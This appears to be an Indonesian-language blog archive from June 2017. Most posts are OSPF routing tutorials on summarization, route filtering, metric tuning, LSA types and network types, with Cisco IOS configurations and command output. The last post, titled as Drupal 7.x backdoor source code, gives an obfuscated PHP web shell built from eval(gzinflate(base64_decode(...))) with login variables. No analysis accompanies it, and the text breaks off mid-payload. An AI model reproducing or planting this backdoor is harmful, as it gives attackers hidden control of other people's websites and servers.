Saturday, June 24, 2017

Konsep OSPF Route Summarization

Tujuan utama dari melakukan summarization route ialah membuat kerja routing table menjadi lebih ringan karna semakin banyak subnet yang spesifik yang tersimpan di routing table maka akan semakin berat router bekerja, hal ini tentu akan berpengaruh terhadp performance dan umur router.

Pada dasarnya hampir seluruh teknologi routing protokol memiliki cara tersendiri untuk melakukan summarize namun dibawah ini merupakan review terkait summarization pada routing protokol ospf.
  • OSPF memungkinkan summarization hanya di ABR dan ASBR.
  • Ketika melakukan summarization di OSPF maka proses kerjanya ini  dilakukan di level LSA, bukan di level routing.
  • Summarization bisa dilakukan untuk menekan ukuran dari LSDB, menghemat memory dan menghemat CPU Resources.
  • Summarization bisa digunakan juga untuk path manipulation.
Mari kita membahas teknik-tekniknya, seperti yang dimention sebelumnya bahwa command summarization di OSPF hanya bisa berfungsi di router OSPF yang berjalan sebagai ABR dan ASBR.


OSPF Route Summarization di ABR
  • Untuk mengkonfigurasi summarization pada ABR, gunakan command berikut:
    Format : area area-id range ip-address mask [cost cost]
    Contoh : R1(config-router) # area 1 range 4.4.0.0 255.255.0.0
  • Harus diingaat bahwa ABR tidak mengadvertise subnet turunan dari Type-3 LSA.
  • ABR menetapkan metrik untuk summary route dari Type-3 LSA, secara default sesuai dengan ukuran terbaik di antara subnet bawahan.
  • Area range command bisa juga digunakan untuk menset cost dari summary route.
  • Summary route yang dibuat adalah Type 3 route.
  • Execute command ini di ABR.

OSPF Route Summarization di ASBR
  • ASBR membuat Type 5 External LSA untuk setiap subnet yang di redistributed.
  • Mereka mendaftarkan seluruh subnet number sebagai LSID dan subnet/mask nya sebagai sebuah field di dalam paket LSA. 
  • Paket LSA juga mendaftarkan RID (Router-ID) ASBR sebagai advertising router dan cost metric dari route tersebut, seperti halnya ABR, kecuali route tersebut adalah eksternal (Either O E1 atau O E2).
  • Untuk mengkonfigurasi summarization pada ASBR, gunakan command berikut:
    Format : summary-address prefix mask
    Contoh : R1(config-router)# summary-address 4.4.0.0 255.255.0.0

Pada tulisan selanjutnya ane akan coba bahas path manipulation di OSPF dengan menggunakan teknik route summarization.

Teknik OSPF Route Filtering dan Contoh Konfigurasinya

OSPF Route Filtering biasanya digunakan untuk memfilter sebuah atau sekumpulan subnet antar area bahkan external area (redistribute dari routing protokol selain OSPF), kadang teknik ini juga digunakan untuk path manipulation. Agar dapat memahami teknik ini beberapa point ini harus diingat dengan baik.
  • Router di dalam area harus memiliki LSA yang sama di LSDB mereka.
  • Jika semua router di dalam area tidak memiliki LSDB yang sama, logic SPF akan fail.
  • OSPF dapat memfilter sumber LSA antar area.
  • Type-3 LSA di filter pada ABR; LSA type-5 di filter pada ASBR.
Di catatan kali ini yang akan dibahas yaitu filtering subnet dalam OSPF antar area.

Teknik-Teknik OSPF Route Filtering
Ada 2 jenis teknik route filtering ini antara lain ialah;
  • Filter via Routing Table
    Menggunakan prefix-list, lalu jalankan command ini di dalam ospf sub-interfaces level.
    # area 1 filter-list prefix NAME out/in

    Filtering dari Routing Table juga bisa menggunakan command dibawah ini
    # distribute-list prefix NAME in | out <interface>

    Notes:
    > Biasanya hanya direction "in" yang digunakan untuk filtering.
    > Teknik ini memiliki kemungkinan membuat blackhole sehingga tidak disarankan.

  • Filter LSA via OSPF Database
    Teknik ini adalah teknik paling direkomendasikan, hal ini disebabkan karna LSA yang diupdate sudah di drop terlebih dahulu sehingga subnet nya tidak terupdate di routing table dan dengan demikian akan meminimalisir resiko dari blackhole ataupun routing loop.

    Contoh command dibawah bisa digunakan untuk filtering LSA dan dijalankan di ABR:
    # area 1 range 4.4.4.4 255.255.255.255 not-advertise

Contoh Penerapan Filtering OSPF via Routing Table & OSPF Database
Topologi yang digunakan ialah seperti dibawah ini.


Teknik pertama yang akan kita coba ialah filtering via Routing Table.

1. Teknik Filter via Routing Table
Tujuan lab kita adalah memfilter 4.4.4.4/32 agar menghilang di routing table R1, kondisi saat ini R1 mendapatkan update routing 4.4.4.4/32 dari R2 dan R3.

R1#sh ip route 4.4.4.4
Routing entry for 4.4.4.4/32
  Known via "ospf 1", distance 110, metric 21, type inter area
  Last update from 10.10.13.2 on FastEthernet0/1, 00:06:10 ago
  Routing Descriptor Blocks:
    10.10.13.2, from 3.3.3.3, 00:06:10 ago, via FastEthernet0/1
      Route metric is 21, traffic share count is 1
  * 10.10.12.2, from 2.2.2.2, 00:06:10 ago, via FastEthernet0/0
      Route metric is 21, traffic share count is 1

Untuk menjalankan teknik ini kita bisa menggunakan Standard ACL, Extended ACL, ataupun juga Prefix-List. Dalam case kita ini karna tujuannya adalah memfilter 4.4.4.4/32 di R1 agar subnet tersebut menghilang dari routing table, tekniknya ialah execute command dibawah ini.

Menggunakan Standard ACL
R1(config)# access-list 1 deny 4.4.4.4 0.0.0.0
R1(config)# access-list 1 permit any 
R1 (config)# router ospf 1
R1(config-router)# distribute-list 1 in

Menggunakan Prefix-List
R2(config)# ip prefix-list AZP deny 4.4.4.4/32
R2(config)# ip prefix-list AZP permit 0.0.0.0/0 le 32
R2(config)# router ospf 1
R2(config-router)# distribute-list prefix AZP in

Apabila kita menjalankan salah satu command diatas di R1 maka network 4.4.4.4/32 di R4 akan menghilang dari routing table R1.
R1# sh ip route 4.4.4.4
% Network not in table

Namun ketika kita cek network 44.44.44.44/32 yang mana subnet dari R4 maka kita tetap masih bisa melihat subnet tersebut di routing table R1.
R1# sh ip route 44.44.44.44
Routing entry for 44.44.44.44/32
  Known via "ospf 1", distance 110, metric 21, type inter area
  Last update from 10.10.13.2 on FastEthernet0/1, 00:01:45 ago
  Routing Descriptor Blocks:
    10.10.13.2, from 3.3.3.3, 00:01:45 ago, via FastEthernet0/1
      Route metric is 21, traffic share count is 1
  * 10.10.12.2, from 2.2.2.2, 00:01:45 ago, via FastEthernet0/0
      Route metric is 21, traffic share count is 1

Bagaimana apabila kita ingin prefix 4.4.4.4/32 dari R4 di Routing Table R1 hanya di update dari R3? Kita bisa menggunakan Extended ACL yang mana dengan teknik ini maka kita menambahkan source update ospf nya yaitu 10.10.12.2 yang merupakan IP Address PTP R2 dan R1.

Menggunakan Extended ACL
R1(config)# access-list 101 deny ip host 10.10.12.2 4.4.4.4 0.0.0.0
R1(config)# access-list 101 permit ip any any
R1 (config)# router ospf 1
R1(config-router)# distribute-list 101 in

R1#sh ip route 4.4.4.4
Routing entry for 4.4.4.4/32
  Known via "ospf 1", distance 110, metric 21, type inter area
  Last update from 10.10.13.2 on FastEthernet0/1, 00:02:12 ago
  Routing Descriptor Blocks:
  * 10.10.13.2, from 3.3.3.3, 00:02:12 ago, via FastEthernet0/1
      Route metric is 21, traffic share count is 1


2. Teknik Filter LSA via OSPF Database
Seperti saya bahas diatas teknik ini adalah teknik yang paling recommended karna dapat meminimalisir resiko routing loop. Untuk menjalankan teknik ini kita harus tau dimana ABR dalam topologi kita lalu execute command ini di ABR (dalam topologi kita ini ABR adalah R2 dan R3), mari kita review lagi topologinya yah.












Dalam case kita ini tujuannya adalah memfilter 4.4.4.4/32 di R4 agar R1 hanya mendapatkan update dari R3 maka kita execute command yang kita buat nanti di R2.

Kondisi saat ini di R1 sebelum kita jalankan command ialah.
R1# sh ip route 4.4.4.4
Routing entry for 4.4.4.4/32
  Known via "ospf 1", distance 110, metric 21, type inter area
  Last update from 10.10.12.2 on FastEthernet0/0, 00:00:02 ago
  Routing Descriptor Blocks:
  * 10.10.13.2, from 3.3.3.3, 00:00:02 ago, via FastEthernet0/1
      Route metric is 21, traffic share count is 1
    10.10.12.2, from 2.2.2.2, 00:00:02 ago, via FastEthernet0/0
      Route metric is 21, traffic share count is 1

Lalu jalankan command dibawah ini di R2:
R2 (config-router)# area 1 range 4.4.4.4 255.255.255.255 not-advertise 

Cek lagi dari R1 darimana dia mendapat update untuk subnet 4.4.4.4/32.
R1#sh ip route 4.4.4.4
Routing entry for 4.4.4.4/32
  Known via "ospf 1", distance 110, metric 21, type inter area
  Last update from 10.10.13.2 on FastEthernet0/1, 00:00:03 ago
  Routing Descriptor Blocks:
  * 10.10.13.2, from 3.3.3.3, 00:00:03 ago, via FastEthernet0/1
      Route metric is 21, traffic share count is 1

Ternyata dari output diatas setelah kita jalankan command filtering maka R1 hanya akan mendapat update network 4.4.4.4/32 dari R3 (10.10.13.2).

Yang jadi pertanyaan adalah gimana kalo R3 mati? Apakah akan fail over ke R2? Jawabannya tidak karna R2 tidak akan pernah melakukan advertise subnet 4.4.4.4/32 ke R1 dan area 0. Lalu jadi single point of failure dong? Iya memang dan inilah kelemahannya route filtering, namun ada teknik lain seperti metric tuning dan summarization untuk mengatasi hal ini, masing2 dari teknik tersebut memiliki kelebihan dan kekurangan mungkin kalau sempat akan ane bahas teknik dengan summarization di tulisan selanjutnya. 

Semoga bermanfaat...

Friday, June 23, 2017

Path Manipulation OSPF dengan Metric Tuning dan Contoh Konfigurasinya

Kali ini catatan ane akan bahas mulai dari konsep sampai teknik memanipulasi best path OSPF dengan melakukan tuning metric. Metric dalam OSPF digunakan untuk melakukan kalkulasi best path ke network tujuan, masih belum tau ada di bagian mana metric itu? 

Apabila kita menjalankan command sh ip route ospf maka akan terlihat metric destination route pada bagian ini.
R1#sh ip route ospf
     4.0.0.0/32 is subnetted, 1 subnets
O       4.4.4.4 [110/21] via 10.10.13.2, 00:00:03, FastEthernet0/1
                     [110/21] via 10.10.12.2, 00:00:03, FastEthernet0/0

Value 21 diatas merupakan metric dari destination network 4.4.4.4/32.

Sebelum masuk ke tahap konfigurasi ada baiknya mengetahui beberapa catatan yang bisa dijadikan konsep dasar sebelum melakukan tuning metric di dalam OSPF.

Path Manipulation dalam Single Area
  • Changing Metric
  • Menggunakan Summarization
  • Filtering (Hati-hati karna teknik ini bisa menyebabkan blackhole)
  • Changing Metric-Type
Selain itu metric dalam OSPF juga bisa diubah dengan mengubah parameter
  • Changing the auto-cost reference bandiwidth
  • Changing the bandwidth of an interface
  • Changing OSPF cost directly at the interface level
Dalam lab kali ini kita akan fokus di bagian ini yaitu manipulasi routing dengan mengubah cost di interface dalam satu area.

Path Manipulation dalam Topology OSPF Multi-Area
  • Dalam multiple areas, setidaknya akan memiliki 2 (dua) buah ABR.
  • Idealnya, kedua ABR melakukan advertise subnet yang sama dari satu area ke area lainnya.
  • Untuk membuat sebuah ABR lebih dominan untuk dipilih sebagai best path kita bisa menggunakan teknik summarization ataupun filtering.
  • Path manipulation dengan teknik summarization memberikan solusi high availability
  • Cara lain untuk memanipulasi traffic adalah dengan melakukan filtering route di ABR sehingga ABR lainnya merupakan jalan satu-satunya untuk mencapai network tujuan. Salah satu kekurangan teknik ini adalah tidak ada high availability.
  • Changing metric-type juga bisa digunakan untuk melakukan path manipulation
  • Selalu ingat OSPF Route Hierarchy: O > O IA > E1 > E2 > N1 > N2

OSPF Priority Route Selection
Dalam OSPF ada sebuah hukum hieraki yang harus diingat, mengingat hierarki ini sangat berguna ketika ingin melakukan path manipulation di OSPF. 

Selalu ingat OSPF Hierarki dimana O > O E1 > O E2, dan jangan lupa juga catatan penting terkait LSA dibawah ini.
  • Intra Area : LSA 1, LSA 2
  • Inter Area : LSA 3 
  • External : LSA 5, LSA 7

Teknik Tuning Metric OSPF
Secara umum ada 3 teknik untuk melakukan tuning/perubahan terhadap metric di dalam OSPF yang juga bisa digunakan untuk memanipulasi traffic route dalam OSPF yaitu,

1. Change Reference Bandwidth 
  • Secara default OSPF melakukan kalkulasi OSPF cost untuk sebuah interface menggunakan rumus ini Reference Bandwidth / Interface Bandwidth
  • Default reference bandwidth dalam OSPF adalah 100Mbps (tergantung tipe router)
  • Reference bandwidth bisa diubah dengan menggunakan command ini,
    # auto-cost reference-bandwidth bandwidth

2. Setting Bandwidth On Interface (Not Recommended)
  • Bandwidth interface bisa juga diubah dengan menggunakan command ini di interface-level command dibawah ini
    # bandwidth value. (Dimana value diganti dengan speed seperti 100 yg berarti 100Mbps)
  • Tuning atau merubah metric dengan teknik ini sangat tidak recommended karna akan berpengaruh terhadap konfigurasi lainnnya seperti QoS.

3. Configure Cost Directly (Most Recommended)
  • Seperti saya tulis diatas teknik ini adalah teknik yang paling rekomended untuk mengubah/tuning metric ospf karena tidak ada dependensi terhadap konfigurasi lainnya.
  • OSPF Cost bisa diubah langsung dengan menggunakan command ini di interface level.
    # ip ospf cost value (dimana value diubah dengan metric yang diinginkan)
  • To verify OSPF Cost on any interfaces, use the following commands
    # sh ip ospf int brief
    # sh ip ospf int

Contoh Konfigurasi
Secara umum teknik untuk melakukan path manipulation itu sangat banyak bisa dengan menggunakan route filtering, tuning administrative distance, route summarization, tuning atribut routing protocol, dsb. Cuma kali ini kita akan spesifik membahas cara yang paling sederhana yaitu mengubah atribut/parameter di dalam OSPF yaitu mengacu pada point nomor 3 (tiga) diatas yaitu Configure Cost Directly yang memang best practice. 

Topologi yang digunakan ialah seperti dibawah ini.













Dari topologi diatas kondisi saat ini ialah apabila dari R1 ingin ke network 4.4.4.4/32 & 44.44.44/32 di R4 maka path yang dilalui adalah 10.10.12.2 (lewat R2) & 10.10.13.2 (lewat R3)

R1#sh ip route 4.4.4.4
Routing entry for 4.4.4.4/32
  Known via "ospf 1", distance 110, metric 21, type intra area
  Last update from 10.10.13.2 on FastEthernet0/1, 00:00:03 ago
  Routing Descriptor Blocks:
    10.10.13.2, from 44.44.44.44, 00:00:03 ago, via FastEthernet0/1
      Route metric is 21, traffic share count is 1
  * 10.10.12.2, from 44.44.44.44, 00:00:03 ago, via FastEthernet0/0
      Route metric is 21, traffic share count is 1

R1#sh ip route 44.44.44.44
Routing entry for 44.44.44.44/32
  Known via "ospf 1", distance 110, metric 21, type intra area
  Last update from 10.10.13.2 on FastEthernet0/1, 00:01:53 ago
  Routing Descriptor Blocks:
    10.10.13.2, from 44.44.44.44, 00:01:53 ago, via FastEthernet0/1
      Route metric is 21, traffic share count is 1
  * 10.10.12.2, from 44.44.44.44, 00:01:53 ago, via FastEthernet0/0
      Route metric is 21, traffic share count is 1

Dari output diatas kondisi seperti itu disebut load balancing dan biasanya apabila menggunakan topologi diatas maka akan terjadi secara default ketika kita mengkonfigurasi OSPF (dual-link) tanpa mengubah apapun. Dalam kondisi real keadaan seperti ini kadang merupakan biang keladi terjadinya asimetric routing, dalam beberapa kondisi asimetrik sangat tidak ditolerir karna alasan sensitifitas aplikasi namun kita tidak akan membahas ini dalam tulisan ini.

Tujuan dari lab ini adalah apabila dari R1 ingin ke network 4.4.4.4/32 ataupun 44.44.44/32 di R4 maka path yang dilalui harus 10.10.12.2 (lewat R2). 

Kenapa kita ingin mengubah best path melalui R2? Karna bisa jadi link yang melewati R2 adalah link yang lebih baik secara latency, kapasitas, dsb daripada link yang mengarah ke R3.

Untuk melakukan hal ini caranya sederhana yaitu, mengubah cost di interface fa0/0 pada R1 dan yang perlu dilakukan adalah menjalankan command dibawah ini di R1.

R1(config)#int fa0/0
R1(config-if)#ip ospf cost 5

Setelah menjalankan command diatas maka gunakan lagi command untuk mengecek lewat mana R1 apabila ingin ke network 4.4.4.4/32 atau 44.44.44/32 

R1#sh ip route 4.4.4.4
Routing entry for 4.4.4.4/32
  Known via "ospf 1", distance 110, metric 16, type intra area
  Last update from 10.10.12.2 on FastEthernet0/0, 00:00:22 ago
  Routing Descriptor Blocks:
  * 10.10.12.2, from 44.44.44.44, 00:00:22 ago, via FastEthernet0/0
      Route metric is 16, traffic share count is 1

R1#sh ip route 44.44.44.44
Routing entry for 44.44.44.44/32
  Known via "ospf 1", distance 110, metric 16, type intra area
  Last update from 10.10.12.2 on FastEthernet0/0, 00:00:29 ago
  Routing Descriptor Blocks:
  * 10.10.12.2, from 44.44.44.44, 00:00:29 ago, via FastEthernet0/0
      Route metric is 16, traffic share count is 1

Dari output diatas sudah terlihat bahwa apabila kita ingin ke network 4.4.4.4/32 atau 44.44.44/32 di R4 dari perspektif R1 maka akan terus-menerus lewat 10.10.12.2 di R2.

Untuk melakukan verifikasi gunakan command sh ip ospf int br atau sh ip ospf int <interface>

R1#sh ip ospf int br

Interface    PID   Area            IP Address/Mask    Cost  State Nbrs F/C

Fa0/1        1     0               10.10.13.1/24      10    DR    1/1

Fa0/0        1     0               10.10.12.1/24      5     BDR   1/1

Lo0          1     1               1.1.1.1/32         1     LOOP  0/0


R1#sh ip ospf int fa0/0
FastEthernet0/0 is up, line protocol is up
  Internet Address 10.10.12.1/24, Area 0
  Process ID 1, Router ID 1.1.1.1, Network Type BROADCAST, Cost: 5
  Enabled by interface config, including secondary ip addresses
  Transmit Delay is 1 sec, State BDR, Priority 1
  Designated Router (ID) 10.10.23.1, Interface address 10.10.12.2
  Backup Designated router (ID) 1.1.1.1, Interface address 10.10.12.1
  Timer intervals configured, Hello 10, Dead 40, Wait 40, Retransmit 5
    oob-resync timeout 40
    Hello due in 00:00:01
  Supports Link-local Signaling (LLS)
  Index 1/1, flood queue length 0
  Next 0x0(0)/0x0(0)
  Last flood scan length is 1, maximum is 1
  Last flood scan time is 0 msec, maximum is 0 msec
  Neighbor Count is 1, Adjacent neighbor count is 1
    Adjacent with neighbor 10.10.23.1  (Designated Router)
  Suppress hello for 0 neighbor(s)


CATATAN
Pada kondisi diatas meskipun kita sudah merubah prefer path apabila ingin ke network 4.4.4.4/32 ataupun 44.44.44.44/32 di R4 selalu melalui R2, akan tapi masih akan menjadi asimetrik, karna dari perspektif R4 masih memiliki 2 path apabila ingin ke network yg ada di R1.
R4#sh ip route 1.1.1.1
Routing entry for 1.1.1.1/32
  Known via "ospf 1", distance 110, metric 21, type inter area
  Last update from 10.10.34.1 on FastEthernet0/1, 00:00:00 ago
  Routing Descriptor Blocks:
    10.10.34.1, from 1.1.1.1, 00:00:00 ago, via FastEthernet0/1
      Route metric is 21, traffic share count is 1
  * 10.10.24.1, from 1.1.1.1, 00:00:00 ago, via FastEthernet0/0
      Route metric is 21, traffic share count is 1

Untuk mengatasi permasalahan asimetrik ini dalam topologi diatas sebenernya tinggal diganti saja cost di fa0/0 di R4, namun pada kondisi real dengan topologi yg lebih kompleks banyak sekali faktor yg menyebabkan asimetrik dan tidak dibahas dalam tulisan ane kali ini karna tulisan ini mengguakan contoh yang sederhana.

Semoga catatan bermanfaat.....

Thursday, June 22, 2017

Pengertian ABR vs ASBR dan LSA Type di OSPF

Dalam catatan kali ini akan bahas sedikit tentang apa itu ABR, ASBR dan berbagai jenis LSA type dalam OSPF. Ketika membahas OSPF pasti istilah-istilah ini akan sering banged dilihat dan didengar oleh kita semua, sebelum membahas ABR dan ASBR sebaiknya mengetahui dulu apa itu LSA dan jenis-jenisnya.

Type LSA in OSPF
LSA singkatan dari link state advertisment merupakan elemen penting dari routing protokol ospf, ketika kita memahami bagaimana cara kerja LSA berarti kita akan semakin mudah memahami bagaimana ospf bekerja dan juga berguna ketika troubleshot, karna LSA sangat erat kaitannya dengan terbentuknya adjacency dalam OSPF. LSA terdiri dari beberapa type, dibawah ini merupakan LSA type yang paling sering kita temui apabila kita menjadi network administrator.
  • Type 1 : Biasa disebut Router LSA, berisi informasi tentang directed connected links dalam sebuah area dimana router itu berada. Semua router yang menjalankan routing protocol OSPF mengenerated lsa type 1 namun packet ini tidak bisa melintas ke area lainnya.
  • Type 2 : Biasa disebut Network LSA, paket ini di generated oleh DR/BDR dalam multi-access network seperti LAN Network. Mudahnya itu apabila tetangga-tetangga router lainnya berada dalam satu subnet maka packet LSA type 2 akan di generated.
  • Type 3 : Biasa disebut Network Summary LSA, packet type 3 LSA di generated oleh ABR. Mereka merepresentasikan network dari sebuah area dan dikirim ke area lain dalam ospf domain. Ingat kan kalo Type 1 LSA tidak bisa nyebrang ke area lainnya? Nah Area Border Router (ABR) menggunakan type 3 LSA untuk menginformasikan area lain tentang area dan network yang sudah ia pelajari.
  • Type 4 : Biasa disebut ASBR Summary LSA, paket ini digenerate oleh ABR, type LSA ini mengandung route ke ASBR. Link-id yang digunakan adalah router ID dari ASBR yang dideskripsikan. Perlu diingat kalo LSA type-4 ini tidak akan pernah di flood ke OSPF stub area. Masih bingung? Gampangnya LSA Type-4 itu datangnya dari ABR dan isinya itu ngasih tau dimana letak ASBR.
  • Type 5 : Biasa disebut AS External LSA, paket ini merupakan hasil dari redistribute dari routing protocol lain dan digenerate oleh ASBR.
  • Type 7 :  Biasa disebut NSSA External LSA, paket ini di generate oleh ASBR tapi dari router yang didefine sebagai Totally Stub atau Not-So-Stubby-Area (NSSA).
Bingung sama penjelasan diatas? Dibawah ini ada gambar bagus yang isinya ilustrasi bagaimana propagasi lsa dalam routing protokol ospf.



Selanjutnya kita bahas definisi ABR vs ASBR.

OSPF ABR
Area border router (ABR) adalah sebuah router yang berada antara satu atau lebih OSPF area atau gampangnya itu router yang berbatasan dengan area lain tapi masih menjalankan routing ospf juga. Fungsi utama ABR itu untuk melakukan koneksi antara area backbone 0 dengan area lainnya.

Dibawah ini merupakan types LSA’s yang akan sering terlihat di ABR:

- LSA Type 3 (Summary LSA)
- LSA Type 4 (Summary LSA)

OSPF ASBR
Area Autonomous System Border Router (ASBR) adalah sebuah router yang berlokasi di perbatasan dengan routing protocol lainnya. Fungsinya hampir sama dengan ABR hanya saja ASBR itu menghubungkan OSPF ke routing lain seperti BGP atau EIGRP.

Dibawah ini merupakan types LSA’s yang akan sering terlihat di ASBR:

- LSA Type 3 (Summary LSA)
- LSA Type 4 (Summary LSA)
- LSA Type 5 (External LSA)

Masih bingung juga penjelasan diatas tentang ABR dan ASBR? Dibawah ini ada gambar ilustrasi ABR dan ASBR.


Semoga bermanfaat.

Tuesday, June 13, 2017

OSPF Network Type dan Cara Konfigurasinya

Ketika membangun network dengan OSPF maka kita harus menentukan network type apa yang akan digunakan dalam network OSPF kita.

OSPF memiliki beberapa network type yaitu :
  • Point-to-Point :  NO DR/BDR, menggunakan multicast, default hello dan dead interval adalah 10/40.
  • Point-to-Multipoint : NO DR/BDR, menggunakan multicast, default hello dan dead interval adalah 30/120.
  • Point-to-Multipoint Non Broadcast : NO DR/BDR, menggunakan unicast, default hello dan dead interval adalah 30/120.
  • Broadcast : DR/BDR, menggunakan multicast, default hello dan dead interval adalah 10/40.
  • Non-Broadcast : DR/BDR, menggunakan unicast, default hello dan dead interval 30/120.

      Berhubung ini sekalian buat catatan ane jadi ane akan bahas yang paling sering digunakan yaitu, point-to-point, broadcast, non-broadcast.

      Point-to-Point







      Metode ini paling simple dan banyak digunakan utamanya di ISP, metode point-to-point akan menjadikan network OSPF kita menjadi lebih cepat konvergensinya karna router hanya perlu mempelajari network dari router sebelahnya saja. Pada OSPF point-to-point hello packet akan dikirim dengan multicast dan default hello 10s & dead interval 40s, dalam network Point-to-Point OSPF tidak mengenal DR ataupun BDR karna hanya LSA type 1 (apabila satu area) yang diterima oleh si router.


      Broadcast











      Dalam kasus kadang kita harus membentuk network dalam multi access area, singkatnya network OSPF tersebut dalam satu segmen network. Dalam situasi seperti ini maka hello packet akan di broadcast ke seluruh router dalam satu network tersebut. Dalam network type OSPF ini juga hello packet akan dikirim dengan menggunakan multicast, akan terbentuk yang namanya DR & BDR (LSA2), default hello interval 10s dan default dead interval 40s.


      Non-Broadcast











      Tidak semua perangkat multi access memiliki kemampuan untuk melakukan broadcast, contoh paling utama ialah ATM atau di Frame Relay (ini teknologi lama tp masih lumayan banyak yg pakai).
      Pada topologi di atas R1 harus mentransmisikan paket individual untuk setiap tujuan yang ingin dicapai. Selain tidak efisien dalam hal bandwidth, keterbatasan ini mengharuskan router untuk mengetahui alamat tetangganya sebelum dia bisa berkomunikasi dengan mereka.

      Nah untuk mengatasi keterbatasan ini OSPF memiliki 2 teknik mode type yang bisa digunakan sebagai solusi yaitu NBMA (Non-Broadcast Multi Access) dan Point-to-Multipoint.


      Konfigurasi
      Untuk melakukan konfigurasi network type di OSPF perlu memasukan command dibawah ini.
      router(config)# int <interface-number>
      router(config-if)# ip ospf network <network-type>

      Dimana interface-number bisa dimasukan nomor interfacenya lalu network-type ialah salah satu yang kita bahas diatas.

      Contoh:
      router(config)# int fa0/0
      router(config-if)# ip ospf network point-to-point

      Untuk verifikasi gunakan command ini -> sh ip ospf interface <interface-number>
      Contoh:
      router# sh ip ospf interface fa0/0


      Semoga bermanfaat...

      Monday, June 12, 2017

      Source Code Backdoor Drupal 7.x New Source Code

      <?PHP
      $login = "";
      $pass = "";
      $md5_pass = "";
      eval(gzinflate(base64_decode('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